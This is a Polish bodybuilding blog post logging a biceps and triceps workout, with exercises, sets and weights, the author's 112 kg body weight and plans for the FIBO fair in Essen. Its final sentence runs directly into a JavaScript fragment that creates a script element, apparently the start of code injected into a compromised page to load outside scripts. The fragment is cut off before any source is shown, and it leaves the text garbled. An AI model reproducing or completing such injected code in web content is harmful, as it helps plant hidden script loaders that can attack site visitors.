06.03.2012

6.03.2012 / Tomasz Lech / Kulturystyka

Dzisiaj trenowałem bicepsy i tricepsy:
biceps
-uginanie przedramion gryfem łamanym 4×12-10 40,50,60,65kg
-uginanie przedramion z hantlami siedząc 4×10 16kg
-uginanie przedramion na modlitewniku 4×10 18kg/hantel

triceps
-prostowanie przedramion siedząc na maszynie 4×12
-francuskie od czoła gryfem łamanym 4×12-10 40,50,60,70kg
-francuskie siedząc-oburącz z hantlem 4×10 55kg/hantel

Z tygodnia na tydzień jestem coraz silniejszy i cięższy.Waga rano na czczo 112kg przy niezłym poziomie tkanki tłuszczowej.Na razie myślę starczy,nie chcę windować zbyt mocno wagi kosztem jakości mięśnia bo przede mną targi FIBO w Essen i nie chcę na stoisku naszej firmy wyglądać jak pulpet.var d=document;var s=d.createElement(‚script’);